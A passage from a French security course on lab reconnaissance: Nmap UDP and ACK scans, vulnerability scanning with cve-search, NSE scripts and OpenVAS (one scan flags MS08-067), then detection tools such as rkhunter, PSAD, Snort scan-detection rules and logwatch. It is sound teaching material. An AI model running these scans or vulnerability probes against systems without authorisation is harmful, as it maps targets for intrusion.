Une des grandes difficultés avec le scan UDP est de l’exécuter rapidement. Les ports ouverts et filtrés ne renvoient que rarement des réponses, laissant Nmap expirer son délai de retransmission au cas où les paquets se soient perdus. Les ports fermés posent encore un plus grand problème: ils renvoient normalement une erreur ICMP « port unreachable ». Mais à la différence des paquets RST renvoyés par les ports TCP fermés en réponse à un scan SYN ou à un connect(), de nombreux hôtes limitent par défaut la cadence d’émission de ces messages. Linux et Solaris étant particulièrement stricts à ce sujet. Par exemple, le kernel 2.4.20 limite cette cadence des destinations inaccessibles (« destination unreachable ») à un par seconde (cf.net/ipv4/icmp.c).


Nmap détecte cette limitation de fréquence et s’y ralenti conformément afin d’éviter de saturer le réseau avec des paquets inutiles que la machine cible rejettera. Malheureusement, une limitation à la Linux d’un paquet par seconde fera qu’un scan des 65 536 ports prendra plus de 18 heures. Les idées pour accélérer les scans UDP incluent le scan des cibles en parallèle, ne scanner que les ports les plus courants en premier, scanner derrière le pare-feu et utiliser l’option –host-timeoutpour éviter les hôtes les plus lents.


Exemple de scan UDP en 17 minutes 54 secondes :



#nmap -sU 192.168.122.191
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:19 CET
Nmap scan report for 192.168.122.191
Host is up (0.00041s latency).
Not shown: 993 closed ports
PORT     STATE         SERVICE
53/udp   open          domain
68/udp   open|filtered dhcpc
69/udp   open|filtered tftp
111/udp  open          rpcbind
137/udp  open          netbios-ns
138/udp  open|filtered netbios-dgm
2049/udp open          nfs
MAC Address: 52:54:00:E5:B9:E3 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1073.88 seconds






5.11. Scan TCP ACK



  -sA



Ce type de scan est différent des autres abordés jusqu’ici, dans le sens où ils ne peuvent pas déterminer si un port est  ouvert (ni même ouvert|filtré). Il est utilisé pour établir les règles des pare-feux, déterminant s’ils sont avec ou sans états (statefull/stateless) et quels ports sont filtrés.


Le scan ACK n’active que le drapeau ACK des paquets.  Les systèmes non-filtrés réagissent en retournant un paquet RST. Nmap considère alors le port comme non-filtré, signifiant qu’il est accessible avec un paquet ACK, mais sans savoir s’il est réellement  ouvert ou fermé. Les ports qui ne répondent pas ou renvoient certains messages d’erreur ICMP (type 3, code 1, 2, 3, 9, 10, ou 13), sont considérés comme filtrés.


Un pare-feu ne répondra rien.


Veuillez apprécier la nuance :


Une machine Windows 10 avec pare-feu :



# nmap -sA -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:29 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds







# nmap -p139 192.168.122.208

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00054s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds






Une machine Windows 8.1 Pro :



# nmap -sA -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.0012s latency).
PORT    STATE    SERVICE
139/tcp filtered netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)







# nmap -p139 192.168.122.198

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for win81-0C (192.168.122.198)
Host is up (0.00100s latency).
PORT    STATE SERVICE
139/tcp open  netbios-ssn
MAC Address: 52:54:00:44:C4:11 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.54 seconds
root@Kali2-0C:~# nmap -p139 192.168.122.208






Un pare-feu Linux :



# nmap -sA -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:30 CET
Nmap scan report for 192.168.122.225
Host is up (0.00094s latency).
PORT    STATE      SERVICE
139/tcp unfiltered netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds







# nmap -p139 192.168.122.225

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 22:32 CET
Nmap scan report for 192.168.122.225
Host is up (0.00055s latency).
PORT    STATE  SERVICE
139/tcp closed netbios-ssn
MAC Address: 52:54:00:1F:08:E7 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds






8. Scans de vulnérabilté


https://www.threatminer.org/index.php


Détection de patch


8.1. CVE


Source : https://fr.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures


https://cve.mitre.org/


Common Vulnerabilities and Exposures ou CVE est un dictionnaire des informations publiques relatives aux vulnérabilités de sécurité. Le dictionnaire est maintenu par l’organisme MITRE, soutenu par le département de la Sécurité intérieure des États-Unis.


Les identifiants CVE sont des références de la forme CVE-AAAA-NNNN (AAAA est l’année de publication et NNNN un numéro incrémenté).


Le contenu du dictionnaire CVE peut être téléchargé. Cette liste contient une description succincte de la vulnérabilité concernée, ainsi qu’un ensemble de liens que les utilisateurs peuvent consulter pour plus d’informations.


Il existe de nombreux produits de sécurité qui traitent de vulnérabilités et qui utilisent donc les identifiants CVE :



  	les services d’information sur les vulnérabilités,

  	les systèmes de détection d’intrusion,

  	les systèmes de prévention d’intrusion,

  	les scanneurs de vulnérabilités,

  	les outils de gestion de parc informatique,

  	etc.




Afin que ces produits utilisent avec rigueur les identifiants CVE, le MITRE a mis en place une procédure de compatibilité CVE qui impose notamment :



  	un affichage des identifiants CVE (« CVE Output »),

  	une fonctionnalité de recherche parmi les identifiants CVE (« CVE Searchable »),

  	une procédure de mise à jour de la base de données (« Mapping »),

  	une aide sur les concepts relatifs à CVE (« Documentation »).




8.2. CVE-Search


Source : https://github.com/cve-search/cve-search


Installation de cve-search



git clone https://github.com/cve-search/cve-search

cd cve-search

apt install python3-pip
pip3 install -r requirements.txt

apt install mongodb
systemctl enable mongodb
systemctl start mongodb

./sbin/db_mgmt.py -p
Database population started
Importing CVEs for year 2002
Importing CVEs for year 2003
Importing CVEs for year 2004
Importing CVEs for year 2005
Importing CVEs for year 2006
Importing CVEs for year 2007
Importing CVEs for year 2008
Importing CVEs for year 2009
Importing CVEs for year 2010
Importing CVEs for year 2011
Importing CVEs for year 2012
Importing CVEs for year 2013
Importing CVEs for year 2014
Importing CVEs for year 2015
Importing CVEs for year 2016

./sbin/db_mgmt_cpe_dictionary.py
Preparing [##################################################] 114942/114942
./sbin/db_updater.py -c






Exemples d’utilisation


En ligne de commande :


Interface Web



apt install redis-server
systemctl enable redis-server
systemctl start redis-server
python3 ./web/index.py






8.3. CVE-Scan



  	Scan a system with NMap or any other scanning tool and use the scan to analyse the systems for vulnerabilities

  	Have the posibility for multiple input formats (NMap scan, xml, Json, etc)

  	Use CVE-Search to enhance the scan to add more information

  	Have multiple export formats as well as webbrowser component




Installation



git clone git clone https://github.com/NorthernSec/cve-scan
cd cve-scan
apt-get install -y nmap
pip3 install -r requirements.txt






Utilisation


Scan de la cible :



nmap -A -O 192.168.23.132 -oX output.xml

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-18 03:19 CEST
Nmap scan report for win81-base.lan (192.168.23.132)
Host is up (0.010s latency).
Not shown: 992 filtered ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 8.1 Enterprise Evaluation 9600 microsoft-ds (workgroup\
: WORKGROUP)
554/tcp   open  rtsp?
2869/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
10243/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49155/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 c\
losed port
Device type: general purpose
Running: Linux 2.4.X|3.X, Microsoft Windows 7|2012
OS CPE: cpe:/o:linux:linux_kernel:2.4.37 cpe:/o:linux:linux_kernel:3.2 cpe:/o:microsoft:win\
dows_7 cpe:/o:microsoft:windows_server_2012
OS details: DD-WRT v24-sp2 (Linux 2.4.37), Linux 3.2, Microsoft Windows 7 or Windows Server\
 2012
Network Distance: 2 hops
Service Info: Host: WIN81-BASE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 9h53m22s, deviation: 0s, median: 9h53m22s
|_nbstat: NetBIOS name: WIN81-BASE, NetBIOS user: <unknown>, NetBIOS MAC: 52:54:00:9c:2f:0c\
 (QEMU virtual NIC)
| smb-os-discovery:
|   OS: Windows 8.1 Enterprise Evaluation 9600 (Windows 8.1 Enterprise Evaluation 6.3)
|   OS CPE: cpe:/o:microsoft:windows_8.1::-
|   NetBIOS computer name: WIN81-BASE
|   Workgroup: WORKGROUP
|_  System time: 2016-09-18T13:15:05+02:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server supports SMBv2 protocol

TRACEROUTE (using port 80/tcp)
HOP RTT     ADDRESS
1   0.13 ms 172.16.98.2
2   0.17 ms win81-base.lan (192.168.23.132)

Post-scan script results:
| clock-skew:
|_  9h53m22s: Majority of systems scanned
OS and Service detection performed. Please report any incorrect results at https://nmap.org\
/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 192.61 seconds






Génération d’un rapport détaillé :



python3 ./bin/analyzer.py -x output.xml enhanced.json
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_server_2012
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:3.2
Querying https://127.0.0.1:5000/api/cvefor/cpe:/a:vmware:player
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel:2.4.37
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_xp::sp3
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:microsoft:windows_7
Querying https://127.0.0.1:5000/api/cvefor/cpe:/h:actiontec:mi424wr-gen3i
Querying https://127.0.0.1:5000/api/cvefor/cpe:/o:linux:linux_kernel







python3 ./bin/visualizer.py enhanced.json






8.4. Produits



  	OpenVAS
    
      	Acunetix® Web Security Scanner

      	Retina® Network Security Scanner

      	GFI LANguard™

      	HP Web Inspect®

      	IBM AppScan®

      	IBM Internet Scanner®

      	Lumension® Scan

      	Portswigger Burp Suite

      	McAfee® Vulnerability Manager

      	TripWire IP360™

      	Rapid7 AppSpider

      	Rapid7 Nexpose

      	Qualys QualysGuard®

      	SAINTscanner®

      	Tenable Nessus®

      	Tenable Security Scanner®

      	Tenable SecurityCenter™

      	Trustwave App Scanner

    

  




8.5. NSE


NSE dispose aussi d’un détecteur de vulnérabilités


Sur un Windows XP sans pare-feu :



nmap --script vuln 192.168.23.211

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2016-09-22 19:23 CEST
Nmap scan report for xplab-8c8d5bb0e.entreprise.lan (192.168.23.211)
Host is up (0.00092s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:D5:0B:0A (QEMU virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 S\
P1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to exec\
ute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonical\
ization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds






Avec un pare-feu activé :



# nmap --script vuln 192.168.122.228

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-19 06:20 CET
Pre-scan script results:
| broadcast-avahi-dos:
|   Discovered hosts:
|     192.168.122.98
|     192.168.122.58
|     192.168.122.41
|     192.168.122.40
|     192.168.122.163
|     192.168.122.209
|     192.168.122.252
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for winxp-template (192.168.122.228)
Host is up (0.00030s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 52:54:00:5D:17:6F (QEMU Virtual NIC)

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 57.18 seconds






8.6. Openvas


OpenVAS, (acronyme de Open source Vulnerability Assessment Scanner, anciennement GNessUs), est un fork sous licence GNU GPL du scanner de vulnérabilité Nessus dont le but est de permettre un développement libre de l’outil qui est maintenant sous licence propriétaire. (https://fr.wikipedia.org/wiki/OpenVAS)


Sur Kali Linux :



root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade

root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created

[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] Online information about this feed: 'https://www.openvas.org/openvas-nvt-feed
...
sent 1143 bytes received 681741238 bytes 1736923.26 bytes/sec
total size is 681654050 speedup is 1.00
[i] Initializing scap database
[i] Updating CPEs
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2002.xml
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2003.xml
...
Write out database with 1 new entries
Data Base Updated
Restarting Greenbone Security Assistant: gsad.
User created with password '6062d074-0a4c-4de1-a26a-5f9f055b7c88'.






Démarrer Openvas :



root@kali:~# openvas-start
Starting OpenVas Services
Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.






Et se rendre sur son interface https://127.0.0.1:9392




  
    [image: ]
    
  





  Source de l’image



Source : https://www.kali.org/penetration-testing/openvas-vulnerability-scanning/


9. Détection de rootkits


9.1. Rkhunter


https://www.rootkit.nl/projects/rootkit_hunter.html



  	Installation





# yum -y install epel-release
# yum -y install rkhunter







  	Mise à jour de la base de données





# rkhunter --update







  	Mise à jour des propriétés du système de fichiers





# rkhunter --propupd







  	Scan manuel





# rkhunter --check







  	Logs





# cat /var/log/rkhunter.log







  	Aide





# rkhunter --help






10. Détection d’intrusion


Modern Honey Network est une solution libre (https://github.com/threatstream/mhn) qui permet de créer un réseau de sondes de détection d’intrusion et de pots de miel.


10.1. PSAD


PSAD est un logiciel qui analyse les logs iptables en vue de détecter des tentatives de connexions, du scan de ports, etc.


Voici un courriel envoyé par PSAD :



=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=


         Danger level: [3] (out of 5) Multi-Protocol

    Scanned TCP ports: [554: 1 packets]
            TCP flags: [SYN: 1 packets, Masscan SYN scan]
       iptables chain: INPUT (prefix "[UFW BLOCK]"), 1 packets

               Source: 71.6.146.185
                  DNS: pirate.census.shodan.io

          Destination: 10.2.145.69
                  DNS: [No reverse dns info available]

   Overall scan start: Sun Aug 21 19:28:55 2016
   Total email alerts: 289
   Complete TCP range: [13-55554]
   Complete UDP range: [19-53413]
      Syslog hostname: mamach1

         Global stats:
                       chain:   interface:  protocol:  packets:
                       INPUT    eth0        tcp        411
                       INPUT    eth0        udp        66

[+] Whois Information (source IP):

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#


#
# Query terms are ambiguous.  The query is assumed to be:
#     "n 71.6.146.185"
#
# Use "?" to get help.
#

#
# The following results may also be obtained via:
# https://whois.arin.net/rest/nets;q=71.6.146.185?showDetails=true&showARIN=false&showNonAr\
inTopLevelNet=false&ext=netref2
#

CariNet, Inc. NET-26 (NET-71-6-146-128-1) 71.6.146.128 - 71.6.146.191
CariNet, Inc. CARINET-5 (NET-71-6-128-0-1) 71.6.128.0 - 71.6.255.255

#
# ARIN WHOIS data and services are subject to the Terms of Use
# available at: https://www.arin.net/whois_tou.html
#
# If you see inaccuracies in the results, please report at
# https://www.arin.net/public/whoisinaccuracy/index.xhtml
#


=-=-=-=-=-=-=-=-=-=-=-= Sun Nov 27 06:57:21 2016 =-=-=-=-=-=-=-=-=-=-=-=






10.2. Snort


Installation de snort



# apt-get install snort
# snort --version






Configuration de snort


Vérifier le fichier /etc/snort/snort.conf au niveau des variables et des règles activées.


Configuration des règles


Les règles sont placées dans /etc/snort/rules/ et doivent être appelées par un Include dans le fichier /etc/snort/snort.conf


Nomenclature des règles



<Rule Actions> <Protocol> <Source IP Address> <Source Port> <Direction Operator> <Destinati\
on IP Address> <Destination > (rule options)






Détecter du trafic nmap


Source : https://asecuritysite.com/forensics/snort?fname=hping_fin.pcap&rulesname=rulesstealth.rules



# look for stealth port scans/sweeps
alert tcp any any -> any any (msg:"SYN FIN Scan"; flags: SF;sid:9000000;)
alert tcp any any -> any any (msg:"FIN Scan"; flags: F;sid:9000001;)
alert tcp any any -> any any (msg:"NULL Scan"; flags: 0;sid:9000002;)
alert tcp any any -> any any (msg:"XMAS Scan"; flags: FPU;sid:9000003;)
alert tcp any any -> any any (msg:"Full XMAS Scan"; flags: SRAFPU;sid:9000004;)
alert tcp any any -> any any (msg:"URG Scan"; flags: U;sid:9000005;)
alert tcp any any -> any any (msg:"URG FIN Scan"; flags: FU;sid:9000006;)
alert tcp any any -> any any (msg:"PUSH FIN Scan"; flags: FP;sid:9000007;)
alert tcp any any -> any any (msg:"URG PUSH Scan"; flags: PU;sid:9000008;)
alert tcp any any -> any any (flags: A; ack: 0; msg:"NMAP TCP ping!";sid:9000009;)






Capture générée : https://www.cloudshark.org/captures/2cbd9eaadf21


Lancement du démon



# snort -D -c /etc/snort/snort.conf -l /var/log/snort/






Vérification des alertes



# tail -f /var/log/snort/alert






10.3. Tripwire


…


11. Gestion des logs


11.1. Logwatch


Logwatch est un logiciel d’analyse et de rapports de logs.


Il s’installe avec cette commande :



yum -y install logwatch






La configuration se réalise dans le fichier :



/etc/logwatch/conf/logwatch.conf






Mais les paramètres par défaut se situent dans :



/usr/share/logwatch/default.conf/logwatch.conf






On peut utiliser la configuration par défaut :



cp /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/






et puis on peut générer le rapport :



logwatch






ou l’envoyer par courriel :



logwatch --mailto admin@domain.com






Voici l’aide du programme :



logwatch --help

Usage: /usr/sbin/logwatch [--detail <level>] [--logfile <name>] [--output <output_type>]
   [--format <format_type>] [--encode <enconding>] [--numeric] [--no-oldfiles-log]
   [--mailto <addr>] [--archives] [--range <range>] [--debug <level>]
   [--filename <filename>] [--help|--usage] [--version] [--service <name>]
   [--hostformat <host_format type>] [--hostlimit <host1,host2>] [--html_wrap <num_characte\
rs>]

--detail <level>: Report Detail Level - High, Med, Low or any #.
--logfile <name>: *Name of a logfile definition to report on.
--logdir <name>: Name of default directory where logs are stored.
--service <name>: *Name of a service definition to report on.
--output <output type>: Report Output - stdout [default], mail, file.
--format <formatting>: Report Format - text [default], html.
--encode <encoding>: Enconding to use - none [default], base64.
--no-oldfiles-log: Suppress the logwatch log, which informs about the
                   old files in logwatch tmpdir.
--mailto <addr>: Mail report to <addr>.
--archives: Use archived log files too.
--filename <filename>: Used to specify they filename to save to. --filename <filename> [For\
ces output to file].
--range <range>: Date range: Yesterday, Today, All, Help
                             where help will describe additional options
--numeric: Display addresses numerically rather than symbolically and numerically
           (saves  a  nameserver address-to-name lookup).
--debug <level>: Debug Level - High, Med, Low or any #.
--hostformat: Host Based Report Options - none [default], split, splitmail.
--hostlimit: Limit report to hostname - host1,host2.
--hostname: overwrites hostname
--html_wrap <num_characters>: Default is 80.
--version: Displays current version.
--help: This message.
--usage: Same as --help.
* = Switch can be specified multiple times...
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Microsoft Windows [version 6.1.7600]
Copyright (c) 2009 Microsoft
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